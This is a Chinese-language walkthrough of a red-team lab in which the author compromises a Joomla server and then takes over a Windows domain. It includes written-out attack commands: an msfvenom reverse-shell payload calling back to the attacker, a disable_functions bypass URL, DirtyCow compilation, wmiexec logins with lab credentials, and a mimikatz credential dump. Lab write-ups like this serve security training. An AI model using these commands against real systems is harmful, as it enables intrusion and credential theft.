ATT&CK實戰系列--紅隊實戰

通過以往文章的靶場二,學習了msf免殺上線繞過360、Access Token利用(MSSQL利用)、WMI利用、域漏洞利用、域控信息收集和權限維持(黃金票據利用)。靶場三爲黑盒測試,不提供虛擬機賬號密碼,目標是獲取域控的flag文件,一起來看看如何去滲透吧。

ATT&CK實戰系列——紅隊實戰(三)是紅日安全團隊出品的一個實戰環境,該靶場模擬真實環境,是個黑盒測試,不提供虛擬機密碼。目標是域控中存在一份重要文件。具體的IP配置如下:

web-centos:192.168.93.100

外網:192.168.31.68

web-ubantu:192.168.93.120

win2012:192.168.93.10

win2008:192.168.93.20

win7:192.168.93.30

只有centos是雙網卡,其餘都是單網卡,將centos網卡eth0設置爲自動獲取ip

先對目標ip進行端口掃描發現目標主機開放了22、80、3306端口

訪問80端口的網頁,發現是用Joomla搭建的網站

先使用dirsearch掃一下目錄,發現了1.php是phpinfo文件,Joomla後臺登錄地址, 配置文件泄漏了數據庫的賬號密碼

試試連接一下數據庫,成功登錄數據庫,但是Joomla後臺登錄的管理員密碼解密不出來。

Joomla官網有重置管理員密碼的操作,執行sql語句來添加一個管理員chan sectret

成功添加賬號後登錄到後臺,通過修改模版來拿shell

訪問extensions-templates-templates-beez3,然後new file-新建文件chan.php

使用蟻劍連接成功後,但是執行命令返回的是127

查看1.php文件的配置情況,服務端 disable_functions 禁用了命令執行函數,目標是Linux並且沒有禁用putenv函數,所以可以利用LD_PRELOAD繞過

這裡直接使用蟻劍的插件,但是連接不上去(tmp目錄下成功上傳了.so文件網站目錄也成功上傳了.antproxy.php文件),不知道爲什麼。

後面使用PHP7_GC_UAF模式成功執行命令

後面看見師傅用的另一種方法利用LD_PRELOAD繞過,用蟻劍bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上傳到目標的同一目錄

注意 .so 文件需要根據目標系統架構選擇,然後訪問bypass_diablefunc.php,cmd 是執行的命令,outpath是讀寫權限的目錄,sopath是.so文件的絕對路徑

http://192.168.31.168/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

先進行一些基本的信息收集,發現當前 ip爲192.168.93.120並不是centos,內核是ubuntu說明真正的web服務後端在 ubuntu,通過centos做了個nginx反向代理解析到Ubuntu上。

翻下主機的文件發現了/tmp/mysql/test.txt文件存在賬戶密碼

使用ssh連接一下,成功連接,先看一下基本信息

發現Centos內核版本在髒牛提權的範圍內,先嚐試一下sudo提權和suid提權,發現不行,使用髒牛提權,將dirty.c上傳到centos,使用命令gcc -pthread dirty.c -o dirty -lcrypt

切換到firefart用戶,提權成功

在kali上生成chan.elf,設置監聽,將elf文件上傳到centos,執行後攻擊機成功獲得一個meterpreter

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.254 LPORT=4444 -f elf > /var/www/html/chan.elf

添加路由進行存活主機探測,或者使用ping命令

for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep "ttl"|awk -F "[ :]+" ''; done

發現了三臺存活的TEST域的主機

使用msf自帶的模塊進行端口掃描,發現三臺主機開放了135、445端口

使用msf自帶的ms17-010模塊掃描一波,沒有發現漏洞

使用msf的模塊進行爆破 我這裡沒有爆破成功,看到其他師傅爆破出來密碼是123qwe!ASD

使用爆破成功的密碼進行滲透,使用msf開個sock4正向代理,配合proxychains

使用wmicexec遠程連接這兩臺主機,先進行基本的信息蒐集,ipconfig /all知道DNS服務器即域控是192.68.93.10

proxychains python3 wmiexec.py -debug

'administrator:123qwe!ASD@192.168.93.20'

proxychains python3 wmiexec.py -debug

'administrator:123qwe!ASD@192.168.93.30'

在windows 2008主機上使用tasklist /v查看進程發現TEST域進程域管理員,嘗試抓取其密碼

在kali上使用smbclient連接到windows 2008上傳mimikatz

wmiexec遠程執行mimikatz 成功得到抓取到域管理員密碼

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

現在已經知道域控的賬號密碼了,同樣的方法使用wmiexec.py腳本進行連接域控,找到flag文件

在搭建靶場時,環境遇到了問題,折騰了很久好在還是解決了。靶場大概情況爲centos爲出網機,web服務後端在 ubuntu,通過centos做了個nginx反向代理解析到Ubuntu上,域內有三臺Windows主機。滲透過程是通過配置文件泄漏了數據庫賬號密碼,從而添加Joomla管理員進入後臺上傳shell,disable_function的繞過(這個姿勢學習到了),然後msf獲取一個meterpreter來進行內網滲透,最終拿下域控獲取flag。